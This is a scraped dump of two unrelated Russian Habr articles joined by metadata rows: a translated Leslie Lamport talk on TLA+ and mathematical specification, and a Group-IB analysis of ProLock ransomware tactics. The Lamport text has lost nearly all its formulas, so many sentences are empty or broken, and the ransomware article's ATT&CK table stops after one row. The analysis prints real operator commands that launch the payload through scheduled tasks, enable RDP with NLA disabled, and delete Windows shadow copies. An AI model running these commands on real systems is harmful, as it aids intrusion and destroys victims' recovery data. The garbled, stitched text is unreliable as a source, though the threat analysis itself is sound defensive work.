[Купить VDS-хостинг](https://macloud.ru/vps-vds) с быстрыми NVMе-дисками и посуточной оплатой у хостинга Маклауд.
[](https://macloud.ru/vps-vds&utm_source=habr&utm_medium=original&utm_campaign=ilmar) | https://habr.com/ru/post/566046/ | null | ru | null |
# Если вы не пишете программу, не используйте язык программирования
**Лесли Лэмпорт** — автор основополагающих работ в распределённых вычислениях, а ещё вы его можете знать по буквам La в слове **La**TeX — «Lamport TeX». Это он впервые, ещё в 1979 году, ввёл понятие [последовательной согласованности](http://lamport.azurewebsites.net/pubs/multi.pdf), а его статья [«How to Make a Multiprocessor Computer That Correctly Executes Multiprocess Programs»](http://lamport.azurewebsites.net/pubs/time-clocks.pdf) получила премию Дейкстры (точней, в 2000 году премия называлась по-старому: «PODC Influential Paper Award»). Про него есть [статья в Википедии](https://en.wikipedia.org/wiki/Leslie_Lamport), где можно добыть ещё несколько интересных ссылок. Если вы в восторге от решения задач на happens-before или [проблемы византийских генералов](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%B2%D0%B8%D0%B7%D0%B0%D0%BD%D1%82%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D1%85_%D0%B3%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D0%BB%D0%BE%D0%B2) (BFT), то должны понимать, что за всем этим стоит Лэмпорт.
Эта хабрастатья — перевод доклада Лесли на Heidelberg Laureate Forum в 2018 году. В докладе пойдёт речь о формальных методах, применяемых в разработке сложных и критичных систем вроде космического зонда Rosetta или движков Amazon Web Services. Просмотр этого доклада является обязательным для посещения [сессии вопросов и ответов](https://hydraconf.com/2019/talks/6evatt1mvwvpnwfxxveivw/?utm_source=habr&utm_medium=455467), которую проведет Лесли на конференции Hydra — эта хабрастатья может сэкономить вам час времени на просмотр видео. На этом вступление закончено, мы передаём слово автору.
---
Когда-то давно Тони Хоар написал: «В каждой большой программе живет маленькая программа, которая пытается выбраться наружу». Я бы это перефразировал так: «В каждой большой программе живет алгоритм, который пытается выбраться наружу». Не знаю, правда, согласится ли с такой интерпретацией Тони.
Рассмотрим в качестве примера алгоритм Евклида для нахождения наибольшего общего делителя двух положительных целых чисел . В этом алгоритме мы присваиваем  значение ,  — значение , и затем отнимаем наименьшее из этих значений от наибольшего, пока они не оказываются равны. Значение этих  и  и будет наибольшим общим делителем. В чем существенное отличие этого алгоритма и программы, которая его реализует? В такой программе будет много низкоуровневых вещей: у  и  будет определенный тип, `BigInteger` или что-то в таком роде; нужно будет определить поведение программы в случае, если  и  неположительные; и так далее и тому подобное. Четкой разницы между алгоритмами и программами нет, но на интуитивном уровне мы чувствуем отличие — алгоритмы более абстрактные, более высокоуровневые. И, как я уже сказал, внутри каждой программы живет алгоритм, который пытается выбраться наружу. Обычно это не те алгоритмы, про которые нам рассказывали в курсе алгоритмов. Как правило, это алгоритм, который полезен только для данной конкретной программы. Чаще всего он будет значительно сложнее тех, которые описаны в книгах. Такие алгоритмы зачастую называют спецификациями. И в большинстве случаев выбраться наружу этому алгоритму не удается, потому что программист не подозревает о его существовании. Дело в том, что этот алгоритм нельзя увидеть, если ваше мышление сосредоточено на коде, на типах, исключениях, циклах `while` и прочем, а не на математических свойствах чисел. Программу, написанную таким образом, сложно отлаживать, поэтому что это значит отлаживать алгоритм на уровне кода. Средства отладки предназначены для того, чтобы находить ошибки в коде, а не в алгоритме. Кроме того, такая программа будет неэффективной, потому что, опять-таки, вы будете оптимизировать алгоритм на уровне кода.
Как и почти в любой другой области науки и техники, решить эти проблемы можно, описав их математически. Для этого существует много способов, мы рассмотрим наиболее полезный из них. Он работает как с последовательными, так и с параллельными (распределенными) алгоритмами. Заключается этот метод в том, чтобы описать выполнение алгоритма как последовательность состояний, а каждое состояние — как присвоение свойств переменным. Например, алгоритм Евклида описывается как последовательность следующих состояний: вначале x присваивается значение M (число 12), а y — значение N (число 18). Затем мы отнимаем меньшее значение от большего ( от ), что приводит нас к следующему состоянию, в котором мы отнимаем уже  от , и на этом выполнение алгоритма останавливается: ![$[x \leftarrow 12, \leftarrow 18], [x \leftarrow 12, \leftarrow 6], [x \leftarrow 6, \leftarrow 6]$](https://habrastorage.org/getpro/habr/formulas/0ac/59f/299/0ac59f299a3ba99927458c097d3266cb.svg).
Назовем последовательность состояний поведением, а пару последовательных состояний — шагом. Тогда любой алгоритм можно описать множеством поведений, которые представляют все возможные варианты выполнения алгоритма. Для каждого конкретного M и N есть только один вариант выполнения, поэтому для его описания достаточно множества из одного поведения. У более сложных алгоритмов, в особенности параллельных, множества поведений большие.
Множество поведений описывается, во-первых, начальным предикатом для состояний (предикат — это просто функция с булевым значением); и, во-вторых, предикатом следующего состояния для пар состояний. Некоторое поведение  входит в множество поведений только если начальный предикат верен для , и предикаты следующего состояния верны для каждого шага . Попробуем описать таким образом алгоритм Евклида. Начальный предикат здесь такой: . А предикат следующего состояния для пар состояний здесь описывается следующей формулой:
Пожалуйста, не пугайтесь — в ней всего шесть строк, разобраться в них очень просто, если делать это по порядку. В этой формуле переменные без штрихов относятся к первому состоянию, а переменные со штрихами — это те же переменные во втором состоянии.
Как видим, первая строка гласит, что в первом случае x больше y в первом состоянии. После логического И утверждается, что значение x во втором состоянии равно значению x в первом состоянии минус значение y в первом состоянии. После еще одного логического И утверждается, что значение y во втором состоянии равно значению y в первом состоянии. Все это значит, что в случае, когда x больше y, программа отнимет y от x, а y оставит неизменным. Последние три строки описывают случай, когда y больше x. Обратите внимание, что эта формула ложна, если x равен y. В этом случае следующего состояния нет, и поведение останавливается.
Итак, мы только что описали алгоритм Евклида двумя математическими формулами — и нам не пришлось связываться ни с каким языком программирования. Что может быть прекраснее этих двух формул? Заменить их одной формулой. Поведение  является выполнением алгоритма Евклида только в том случае, если:
*  верно для ,
*  верно для каждого шага .
Записать это как предикат для поведений (будем называеть его свойством) можно следующим образом. Первое условие можно выразить просто как . Это значит, что мы интерпретируем предикат состояния как верный для поведения только в том случае, если он верен для первого состояния. Второе условие записывается так: . Квадрат означает соответствие между предикатами пар состояний и предикатами поведений, то есть  верно для каждого шага в поведении. В итоге формула выглядит так: .
Итак, мы записали алгоритм Евклида математически. В сущности, это просто определения, или сокращения для  и . Полностью эта формула выглядела бы так:
Не правда ли, она прекрасна? К сожалению, для науки и техники красота не является определяющим критерием, но она говорит о том, что мы на правильном пути.
Свойство, которое мы записали, верно для некоторого поведения только в том случае, если выполняются два условия, которые мы только что описали. При  и  они верны для следующего поведения: ![$[x \leftarrow 12, \leftarrow 18], [x \leftarrow 12, \leftarrow 6], [x \leftarrow 6, \leftarrow 6]$](https://habrastorage.org/getpro/habr/formulas/0ac/59f/299/0ac59f299a3ba99927458c097d3266cb.svg). Но эти условия также выполняются для более коротких версий того же поведения: ![$[x \leftarrow 12, \leftarrow 18], [x \leftarrow 12, \leftarrow 6]$](https://habrastorage.org/getpro/habr/formulas/cdc/573/200/cdc5732009bd42e71cc9e606f3af0329.svg). А их мы не должны учитывать, поскольку это просто отдельные шаги уже учтенного нами поведения. Есть очевидный способ от них избавиться: просто не учитывать поведения, которые заканчиваются состоянием, для которого возможен хотя бы один следующий шаг. Но это не совсем правильный подход, нам нужно более общее решение. Кроме того, такое условие не всегда работает.
Обсуждение этой проблемы приводит нас к понятиям безопасности и активности. Свойство безопасности указывает, какие события допустимы. Например, алгоритму разрешается вернуть правильное значение. Свойство активности указывает, какие события должны рано или поздно произойти. Например, алгоритм рано или поздно должен вернуть некоторое значение. Для алгоритма Евклида свойство безопасности выглядит следующим образом: . К этому необходимо добавить свойство активности, чтобы исключить преждевременные остановки: . В языках программирования в лучшем случае есть некоторое примитивное определение активности. Чаще всего активность даже не упоминается, просто подразумевается, что следующий шаг в программе обязательно должен произойти. И чтобы добавить это свойство, нужен довольно замысловатый код. Математически же активность выразить очень легко (как раз для этого нужен тот квадратик), но, к сожалению, у меня на это нет времени — нам придется ограничить наше обсуждение безопасностью.
Небольшое отступление только для математиков: каждое свойство является множеством поведений, для которых это свойство верно. Для каждого множества последовательностей существует естественная топология, которую создает следующая функция расстояния:
Расстояние между этими двумя функциями — ¼, поскольку первое различие между ними — на четвертом элементе. Соответственно, чем более продолжителен участок, на котором эти последовательности идентичны, тем ближе они друг к другу. Сама по себе эта функция не так уж и интересна, но она создает очень интересную топологию. В этой топологии свойства безопасности являются замкнутыми множествами, а свойства активности являются плотными множествами. В топологии одна из фундаментальных теорем гласит, что каждое множество является пересечением замкнутого множества и плотного множества. Если вспомнить, что свойства — это множества поведений, то из этой теоремы следует, что каждое свойство является конъюнкцией свойства безопасности и свойства активности. Это вывод, который будет интересен в том числе и программистам.
Частичная корректность означает, что программа может остановиться только в том случае, если выдаст правильный ответ. Частичная корректность алгоритма Евклида гласит, что если он завершил выполнение, то . А завершает выполнение наш алгоритм в случае, если . Иначе говоря, . Частичная правильность этого алгоритма означает, что эта формула верна для всех состояний поведения. Добавим в ее начало символ , который означает «для всех шагов». Как видим, в формуле нет переменных со штрихом, так что ее истинность зависит от первого состояния в каждом шаге. А если нечто верно для первого состояния каждого шага, то это утверждение верно для всех состояний. Частичная корректность алгоритма Евклида удовлетворяется любым поведением, допустимым для алгоритма. Как мы видели, поведение допустимо в том случае, если истинна только что приведенная формула. Когда мы говорим, что свойство удовлетворено, это просто значит, что это свойство следует из некоторой формулы. Не правда ли, это прекрасно? Вот она:
Перейдем к инвариантности. Квадрат со скобками после него называется **свойство инвариантности**:
Значение, заключенное в скобки после квадрата, называется **инвариант**:
Как доказать инвариантность? Чтобы доказать , нужно доказать, что для любого поведения  следствием  является истинность  для любого состояния . Мы можем доказать это методом индукции, для этого нам необходимо доказать следующее:
1. из  следует, что  верно для состояния ;
2. из  следует, что если  верно для состояния , то оно также
верно для состояния .
Вначале нужно доказать, что  подразумевает . Поскольку формула утверждает, что  верно для первого состояния, это значит, что  верно для первого состояния. Далее, при , верном для любого шага, и , верном для ,  верно для , потому что  значит, что  верно для любой пары состояний. Это записывается так: , где  — это  для всех переменных со штрихом.
Инвариант, отвечающим двум условиям, которые мы только что доказали, называется **индуктивным инвариантом**. Частичная корректность не индуктивна. Чтобы доказать ее инвариантность, нужно найти индуктивный инвариант, который ее подразумевает. В нашем случае индуктивный инвариант будет такой: .
Каждое следующее действие алгоритма зависит от его текущего состояния, а не от прошлых действий. Алгоритм удовлетворяет свойству безопасности, поскольку в нем сохраняется индуктивный инвариант. Алгоритм Евклида может вычислить наибольший общий знаменатель (т. е. он не останавливается, пока его не достигнет) благодаря тому, что в нем есть инвариант . Чтобы понять алгоритм, необходимо знать его индуктивный инвариант. Если вы изучали верификацию программ, то вы знаете, что только что приведенное доказательство инварианта — это ни что иное, как метод доказательства частичной корректности последовательных программ Флойда-Хоара. Возможно, вы также слышали о [методе](http://staff.ustc.edu.cn/~xyfeng/reading/OwickiGries.pdf) [Овики](https://en.wikipedia.org/wiki/Susan_Owicki)-[Грис](https://en.wikipedia.org/wiki/David_Gries), который является распространением метода Флойда-Хоара на параллельные программы. В обоих случаях индуктивный инвариант пишется при помощи аннотации программы. И если это делать при помощи математики, а не языка программирования, это делается предельно просто. Именно это лежит в основе метода Овики-Грис. Математика делает сложные явления значительно доступнее для понимания, хотя сами явления, конечно же, от этого не станут проще.
Взглянем подробнее на формулы. Если в математике мы написали формулу с переменными  и , это не значит, что других переменных не существует. Можно добавить еще одно уравнение, в котором  поставлено в отношение к , это ничего не поменяет. Просто формула ничего не говорит ни о каких других переменных. Я уже говорил, что состояние — это присвоение значений переменным, сейчас к этому можно добавить: всем возможным переменным, начиная  и  и заканчивая населением Ирана. Должен признаться: когда я сказал, что формула  описывает алгоритм Евклида, я соврал. На самом деле она описывает вселенную, в которой значения  и  представляют выполнение алгоритма Евклида. Вторая часть формулы () утверждает, что каждый шаг изменяет  или . Иначе говоря, она описывает вселенную, в которой население Ирана может измениться только в том случае, если изменилось значение  или . Из этого следует, что в Иране никто не может родиться после того, как завершено выполнение алгоритма Евклида. Очевидно, это не так. Исправить эту ошибку можно в том случае, если у нас допустимы шаги, для которых  и  остаются неизменными. Поэтому к нашей формуле нужно добавить еще одну часть: . Для краткости запишем это так: ![$Init_E \land \square [Next_E]_{<x,y>}$](https://habrastorage.org/getpro/habr/formulas/ba8/2c3/e66/ba82c3e660f4f1b9aed51f536377fb6c.svg). Эта формула описывает вселенную, содержащую алгоритм Евклида. Те же изменения нужно внести в доказательство инварианта:
* Доказываем: ![$Init_E \land \color{red}{\square [Next_E]_{<x,y>}} \Rightarrow \square I_E$](https://habrastorage.org/getpro/habr/formulas/00f/149/8a3/00f1498a31bf5dcc39e9c21c15de1700.svg)
* С помощью:
1. 
2. ![$\color{red}{\square [Next_E]_{<x,y>}} \land I_E \Rightarrow I'_E$](https://habrastorage.org/getpro/habr/formulas/25d/70d/efb/25d70defbf7620c85743b990778d6f70.svg)
Это изменение отвечает за безопасность алгоритма Евклида, поскольку теперь возможны поведения, в которых значения  и  не изменяются. Исключить такие поведения нужно с помощью свойства активности. Это сделать довольно просто, но сейчас я про это говорить не буду.
Поговорим о реализации. Предположим, у нас есть некоторая машина, которая реализует алгоритм Евклида подобно компьютеру. Она представляет числа как массивы 32-битных слов. Для простых операций сложения и вычитания ей нужно множество шагов, как компьютеру. Если пока не трогать активность, то такую машину мы также можем представить формулой ![$Init_{ME} \land \square [Next_{ME}]_{<...>}$](https://habrastorage.org/getpro/habr/formulas/40a/ee4/948/40aee4948c9e822ae37cbcd26b7a319b.svg). Что мы подразумеваем, когда говорим, что машина Евклида реализует алгоритм Евклида? Это значит, что следующая формула верна:
Не пугайтесь, мы сейчас рассмотрим ее по порядку. Она гласит, что наша машина удовлетворяет некоторому свойству (). Этим свойством является формула Евклида ![$(Init_E \land \square [Next_E]_{<х,у>}$](https://habrastorage.org/getpro/habr/formulas/5f6/de5/295/5f6de529564a03afd2dd6cd0553d008f.svg), многоточия — это выражения, которые содержат переменные машины Евклида, а  — это подстановка. Иначе говоря, вторая строка — это формула Евклида, в которой  и  заменены на выражения в многоточиях. В математике нет общепринятого обозначения подстановки, поэтому мне пришлось придумать его самому. По сути, формула Евклида (![$Init_E \land \square [Next_E]_{<х,у>}$](https://habrastorage.org/getpro/habr/formulas/6d6/466/cc9/6d6466cc9d0b7aaa19de23cfa8eccdbf.svg)) — это сокращение для формулы:
Красным выделена часть формулы, позволяющая  и  в ![$(Init_E \land \square [Next_E]_{\color{red}{<х,у>}}$](https://habrastorage.org/getpro/habr/formulas/2f3/9d4/b76/2f39d4b769e144487c339369c7b3ff9b.svg) оставаться неизменными.
Описанное выражение утверждает не только, что машина реализует алгоритм Евклида, но и что она делает это с учетом указанных подстановок. Если просто взять пару программ и сказать, что переменные этих программ связаны с  и  — бессмысленно говорить, что всё это «реализует алгоритм Евклида». Обязательно указать, как именно алгоритм будет реализован, почему после всех подстановок формула станет истинной. Сейчас у меня нет времени, чтобы показать, что описанное выше определение является правильным, вам придется поверить мне на слово. Но вы, я думаю, уже оценили, насколько оно простое и элегантное. Математика действительно прекрасна — при помощи нее мы смогли определить, что значит, что один алгоритм реализует другой.
Чтобы доказать это, необходимо найти подходящий инвариант  машины Евклида. Для этого необходимо выполнить следующие условия:
1. 
2. ![$I_{ME} \land [Next_{ME}]_{<...>} \Rightarrow ([Next_E]_{<х,у>}, WITH\thinspace x\leftarrow ..., y \leftarrow ...)$](https://habrastorage.org/getpro/habr/formulas/46a/204/5ad/46a2045ad5cf149473ca8d0dca7aa35b.svg)
Не будем сейчас в них вникать, просто обратите внимание на то, что это обычные математические формулы, хоть и не самые простые. Инвариант  объясняет, почему машина Евклида реализует алгоритм Евклида. Реализация означает подстановку выражений на место переменных. Это вполне обычная математическая операция. Но в программе такую подстановку выполнить невозможно. Нельзя подставить `a + b` на место `x` в выражении присвоения `x = …`, такая запись не будет иметь смысла. Тогда как определить, что одна программа реализует другую? Если вы думаете только в рамках программирования — это невозможно. В лучшем случае вы сможете найти какое-нибудь мудреное определение, но гораздо более хороший способ — перевести программы в математические формулы и использовать определение, которое я привел выше. Перевести программу в математическую формулу значит дать программе семантику. Если машина Евклида является программой, а ![$Init_{ME} \land \square [Next_{ME}]_{<...>}$](https://habrastorage.org/getpro/habr/formulas/40a/ee4/948/40aee4948c9e822ae37cbcd26b7a319b.svg) — ее математическая запись, то ![$(Init_E \land \square [Next_E]_{<х,у>}, WITH\thinspace x\leftarrow ..., y \leftarrow ...)$](https://habrastorage.org/getpro/habr/formulas/5a0/efe/13d/5a0efe13d462c8f630ba7b76bb0a9481.svg) показывает нам, что это значит, что «программа реализует алгоритм Евклида». Языки программирования очень сложные, поэтому этот перевод программы на язык математики тоже сложный, так что на практике мы так не делаем. Просто языки программирования не предназначены для того, чтобы писать на них алгоритмы. Важность приведенного примера в том, что математика здесь показывает, что нужно сделать, чтобы реализовать алгоритм Евклида в программе: нужно определить, как x и y представлены в терминах состоянии программы и рассказывает, и что нужно дальше делать. Но, конечно, в первую очередь, для написания алгоритмов не стоит использовать язык программирования.
Кто-то обязательно скажет: математика работает на мелких выдуманных примерах, все знают, что в реальном мире программистам приходится иметь дело с огромными системами, и там от нее нету толку. На самом деле, это так только кажется. Единственное отличие алгоритма Евклида и большого алгоритма — это размер формулы. Вместо шести строк предикат следующего состояния может занимать несколько сотен или тысяч строк. Для таких больших формул мы используем иерархическую декомпозицию, так мы боремся со сложностью. В программировании есть множество мудреных методов для этого, но самый простой и мощный метод — математический, и этот способ называется *определение*. Чтобы выполнить иерархическую декомпозицию вот этой формулы:
мы даем имена частям этой формулы. Назовём вот эту часть :
а вот эту часть — :
Поэтому можно сказать, что:
Проще определений ничего не придумать.
Поговорим о реальных примерах математического описания алгоритмов. [Rosetta](https://en.wikipedia.org/wiki/Rosetta_(spacecraft)) — космический зонд, сделанный Европейским космическим агентством для исследования одной кометы. Некоторые ее инструменты управлялись операционной системой реального времени Virtuoso. Ее создатели затем сделали следующую версию этой системы и написали о ней книгу. Высокоуровневая структура там описана на TLA+, это язык для математической записи алгоритмов. Он работает по тем же принципам, что и примеры, которые я приводил в этом докладе. Процитирую отрывок из письма, которое мне прислал Эрик Верхольст (Eric Verhulst), он руководил разработкой системы. Я спросил его, принес ли им пользу TLA+, на что он ответил: «Во многом благодаря TLA+ нам удалось создать значительно более чистую архитектуру. Нам стали видны последствия многолетней промывки мозгов из-за программирования на C. Одним из результатов использования TLA+ стало уменьшение размера кода в десять раз по сравнению с Virtuoso». Вдумайтесь в эту цифру. Просто качественным программированием сокращения кода в десять раз не достичь. Для этого нужна более чистая архитектура, или, другими словами, более совершенный алгоритм. А для этого нужно математическое мышление. А к математическому мышлению приучает TLA+. Если вы мыслите в рамках языка программирования, такого результата вам не достичь.
Из космоса спустимся на облака. В Communications of the ACM несколько лет тому назад была ][опубликована](https://cacm.acm.org/magazines/2015/4/184701-how-amazon-web-services-uses-formal-methods/fulltext) статья о том, как веб-сервисы Amazon используют формальные методы. Amazon Web Services — это те, кто создают облачную инфраструктуру Amazon. Формальный метод, о котором идет речь — это всё тот же TLA+. Основные выводы статьи следующие. Во-первых, при помощи формальных методов удается найти баги в структуре системы, которые невозможно обнаружить никаким другим известным авторам способом. Подчеркну, это пишут программисты, которые в течение долгого времени занимаются распределенными системами. Во-вторых, по их мнению, формальные методы на удивление легко приживаются с общепринятыми методами разработки ПО и отлично окупаются. Нужно сказать, что авторы — люди, которые не витают в облаках, они привыкли оценивать технологии в долларовом эквиваленте. В-третьих, статья сообщает нам, что в Amazon формальные методы систематически применяются для проектирования сложных программ, включая публичные облачные сервисы. Мне недавно говорили, что около 10% программистов в этих группах используют TLA+.
Другой пример — Microsoft. Эпизодически там TLA+ применяется начиная с 2004 года. В конце 2015 года я написал короткую статью про TLA+, в которой было описано в т. ч. его применение в Amazon Web Services. Эту статью прочитал генеральный директор Microsoft Сатья Наделла, и на следующий день после рождества того года он отправил письмо высшему руководству компании, в котором рекомендовал им также познакомиться с этой статьёй. Приведу цитату: «С учетом сложности параллельных распределенных систем мы должны обеспечить корректность алгоритмов на уровне проектирования, в противном случае у нас возникнут проблемы в будущем». К счастью, в Microsoft по-прежнему пост генерального директора занимает бывший программист. Дальше он пишет: «Нам следует постараться вдохновить как можно больше программистов на использование этих методов». В 2016-17 гг. я провел три трёхдневных курса по TLA+, их прошли около 150 программистов, в основном работавших на Azure (облачная платформа Microsoft). Два менеджера из Azure сделали презентацию на семинаре в апреле 2018 года, в которой говорилось, что сложные системы требуют строгого математического мышления на каждом этапе их разработки. Они цитировали меня: «Продумывание задачи не гарантирует, что вы не совершите ошибок. Но если вы ее не продумываете, вы гарантированно сделаете ошибки». В презентации также говорилось о необходимости моделировать систему целиком, то есть всю вселенную, которая включает систему и ее среду. И здесь опять-таки на помощь приходит математика: код хорош для написания системы, но для ее среды необходимо нечто более простое и выразительное. В заключение было сказано, что нужно мыслить математически, и что многие программисты этого не делают.
Процитирую другого менеджера, который говорил о необходимости интегрировать TLA+ в культуру программирования. Этого он предлагал достичь, нанимая программистов с опытом работы в TLA+, интегрируя тренинги по TLA+ в курс адаптации новых программистов и в курс учебного лагеря Azure, и требуя, чтобы каждый анализ причин багов корректности в продакшне сопровождался спецификацией на TLA+. Последняя мера гарантирует, что человек понял первопричину бага. Наконец, автор также говорил о необходимости требовать спецификацию на TLA+ для гарантий, которые заявляет сервис. Сегодня Microsoft выпускает новую версию Cosmos DB, это глобальная база данных, от которой в значительной степени будет зависеть будущее всей компании. Насколько мне известно, этот проект пока что очень успешен. В его разработке использовался TLA+, и гарантии условий правильности, предоставляемые пользователям, сопровождаются в нем спецификациями на TLA+.
TLA+ — это язык для математического описания алгоритмов. В нем есть мощные инструменты для проверки свойств инвариантности и активности и их реализации. Но TLA+ не является лучшим языком для описания всех возможных алгоритмов. Для начала, не все алгоритмы стоят того, чтобы их описывать на полностью формальном языке. Инструменты TLA+ не подходят для многих областей, они лучше всего работают с распределенными системами. Но главное другое: опыт TLA+ доказывает, что математическое описание алгоритмов работает на практике.
В каждой большой программе живет алгоритм, который пытается выбраться наружу. И прежде, чем начинать писать программу, нужно найти и понять этот алгоритм. А лучше всего это можно сделать, описав его математически. Если алгоритмы сложных распределенных систем в Amazon и Microsoft можно описать математически, то и с вашими алгоритмами это получится. Не позволяйте языкам программирования промыть вам мозги, пусть математика освободит ваш разум.
> Напоминаю, что это перевод. Когда вы будете писать комментарии — помните, что автор их не прочитает. Если вам действительно хочется пообщаться с автором, то он будет на конференции Hydra 2019, которая пройдёт 11-12 июля 2019 года в Санкт-Петербурге. Билеты можно приобрести [на официальном сайте](https://hydraconf.ru/?utm_source=habr&utm_medium=455467). | https://habr.com/ru/post/455467/ | null | ru | null |
# Вскрываем ProLock: анализ действий операторов нового вымогателя по матрице MITRE ATT&CK
Успех атак вирусов-шифровальщиков на организации по всему миру побуждает все больше новых злоумышленников «вступить в игру». Один из таких новых игроков — группа, использующая шифровальщик ProLock. Он появился в марте 2020 года как преемник программы PwndLocker, которая начала работать с конца 2019 года. Атаки шифровальщика ProLock, прежде всего, нацелены на финансовые и медицинские организации, государственные учреждения и сектор розничной торговли. Недавно операторы ProLock успешно атаковали одного из крупнейших производителей банкоматов — компанию Diebold Nixdorf.
В этом посте **Олег Скулкин, ведущий специалист Лаборатории компьютерной криминалистики Group-IB**, рассказывает об основных тактиках, техниках и процедурах (TTPs), используемых операторами ProLock. В конце статьи — сопоставление с матрицей MITRE ATT&CK, публичной базой данных, в которой собраны тактики целевых атак, применяемые различными киберпреступными группами.
Получение первоначального доступа
---------------------------------
Операторы ProLock используют два основных вектора первичной компрометации: троян QakBot (Qbot) и незащищенные RDP-серверы со слабыми паролями.
Компрометация через доступный извне RDP-сервер чрезвычайно популярна у операторов вымогателей. Обычно доступ к скомпрометированному серверу злоумышленники покупают у третьих лиц, однако он также может быть получен членами группы самостоятельно.
Более интересный вектор первичной компрометации — вредоносное ПО QakBot. Раньше данный троян связывали с другим семейством шифровальщиков — MegaCortex. Однако теперь им пользуются операторы ProLock.
Как правило, QakBot распространяется через фишинговые кампании. Фишинговое письмо может содержать прикрепленный документ Microsoft Office или ссылку на такой файл, находящийся в облачном хранилище — например, Microsoft OneDrive.
Также известны случаи загрузки QakBot другим трояном — Emotet, который широко известен своим участием в кампаниях, распространявших программу-вымогатель Ryuk.
Выполнение
----------
После загрузки и открытия зараженного документа пользователю предлагается разрешить выполнение макросов. В случае успеха осуществляется запуск PowerShell, который позволит загрузить и запустить полезную нагрузку QakBot с командного сервера.
Важно отметить, что то же самое относится и к ProLock: полезная нагрузка извлекается из файла **BMP** или **JPG** и загружается в память с помощью PowerShell. В некоторых случаях для запуска PowerShell используется запланированная задача.
***Batch-скрипт, запускающий ProLock через планировщик задач:***
```
schtasks.exe /CREATE /XML C:\Programdata\WinMgr.xml /tn WinMgr
schtasks.exe /RUN /tn WinMgr
del C:\Programdata\WinMgr.xml
del C:\Programdata\run.bat
```
Закрепление в системе
---------------------
Если удалось скомпрометировать RDP-сервер и получить доступ, то для закрепления в сети используются действующие учетные записи. Для QakBot характерны разнообразные механизмы закрепления. Чаще всего данный троян использует раздел реестра Run и создает задачи в планировщике:
*Закрепление Qakbot в системе с помощью раздела реестра Run*
В некоторых случаях также используются папки автозагрузки: туда помещается ярлык, который указывает на загрузчик.
Обход защиты
------------
Путем коммуникации с командным сервером QakBot периодически пытается обновить себя, поэтому, чтобы избежать обнаружения, вредонос может заменить собственную текущую версию новой. Исполняемые файлы подписываются скомпрометированной или поддельной подписью. Начальная полезная нагрузка, загружаемая PowerShell, хранится на командном сервере с расширением **PNG**. Кроме того, после выполнения она заменяется на легитимный файл **calc.exe**.
Также, чтобы скрыть вредоносную активность, QakBot использует технику внедрения кода в процессы, используя для этого **explorer.exe**.
Как уже упоминалось, полезная нагрузка ProLock скрыта внутри файла **BMP** или **JPG**. Это также можно рассматривать как метод обхода защиты.
Получение учетных данных
------------------------
QakBot обладает функционалом кейлоггера. Помимо этого, он может загружать и запускать дополнительные скрипты, например, Invoke-Mimikatz — PowerShell-версию знаменитой утилиты Mimikatz. Такие скрипты могут использоваться злоумышленниками для дампинга учетных данных.
Сетевая разведка
----------------
После получения доступа к привилегированным учетным записям операторы ProLock осуществляют сетевую разведку, которая в частности может включать сканирование портов и анализ среды Active Directory. Помимо различных скриптов, для сбора информации об Active Directory злоумышленники используют AdFind — еще один инструмент, популярный среди групп, использующих программы-вымогатели.
Продвижение по сети
-------------------
Традиционно одним из самых популярных способов продвижения по сети является протокол удаленного рабочего стола (Remote Desktop Protocol). ProLock не стал исключением. Злоумышленники даже имеют в своем арсенале скрипты для получения возможности удаленного доступа по протоколу RDP к целевым хостам.
***BAT-скрипт для получения доступа по протоколу RDP:***
`reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f`
Для удаленного выполнения скриптов операторы ProLock используют еще один популярный инструмент — утилиту PsExec из пакета Sysinternals Suite.
ProLock на хостах запускается с помощью WMIC, представляющего собой интерфейс командной строки для работы с подсистемой Windows Management Instrumentation. Данный инструмент также приобретает все большую популярность среди операторов программ-вымогателей.
Сбор данных
-----------
Как и многие другие операторы шифровальщиков, группа, использующая ProLock, собирает данные из скомпрометированной сети, чтобы повысить свои шансы на получение выкупа. Перед эксфильтрацией собранные данные архивируются с помощью утилиты 7Zip.
Эксфильтрация
-------------
Для выгрузки данных операторы ProLock используют Rclone — инструмент командной строки, предназначенный для синхронизации файлов с различными облачными хранилищами, такими как OneDrive, Google Drive, Mega и др. Злоумышленники всегда переименовывают исполняемый файл, чтобы он был похож на легитимные системные файлы.
В отличие от своих «коллег по цеху», операторы ProLock до сих пор не имеют собственного веб-сайта для публикации украденных данных, принадлежащих компаниям, которые отказались платить выкуп.
Достижение конечной цели
------------------------
После эксфильтрации данных группа развертывает ProLock по всей сети предприятия. Бинарный файл извлекается из файла с расширением **PNG** или **JPG** с помощью PowerShell и внедряется в память:
Прежде всего ProLock завершает процессы, указанные во встроенном списке (интересно, что он использует только шесть букв из имени процесса, например, «winwor»), и завершает службы, включая те, которые связаны с безопасностью, например, CSFalconService (CrowdStrike Falcon), с помощью команды **net stop**.
Затем, как и в случае многих других семейств вымогателей, атакующие используют **vssadmin** для удаления теневых копий Windows и ограничения их размера, благодаря чему новые копии не будут создаваться:
```
vssadmin.exe delete shadows /all /quiet
vssadmin.exe resize shadowstorage /for=C: /on=C: /maxsize=401MB
vssadmin.exe resize shadowstorage /for=C: /on=C: /maxsize=unbounded
```
ProLock добавляет расширение **.proLock**, **.pr0Lock** или **.proL0ck** к каждому зашифрованному файлу и помещает файл **[HOW TO RECOVER FILES].TXT** в каждую папку. Этот файл содержит инструкции о том, как расшифровать файлы, включая ссылку на сайт, где жертва должна ввести уникальный идентификатор и получить платежную информацию:
Каждый экземпляр ProLock содержит информацию о сумме выкупа — в данном случае это 35 биткоинов, что составляет примерно 312 000 долларов.
Заключение
----------
Многие операторы программ-вымогателей используют схожие методы для достижения своих целей. В то же время некоторые техники являются уникальными для каждой группы. В настоящее время растет число киберпреступных групп, использующих шифровальщики в своих кампаниях. В некоторых случаях одни и те же операторы могут участвовать в атаках с использованием разных семейств вымогателей, поэтому мы будем все чаще наблюдать пересечения в используемых тактиках, техниках и процедурах.
**Сопоставление с MITRE ATT&CK Mapping**
| Tactic | Technique |
| --- | --- |
| Initial Access (TA0001) | External Remote Services (T1133), Spearphishing Attachment (T1193), Spearphishing Link (T1192) |
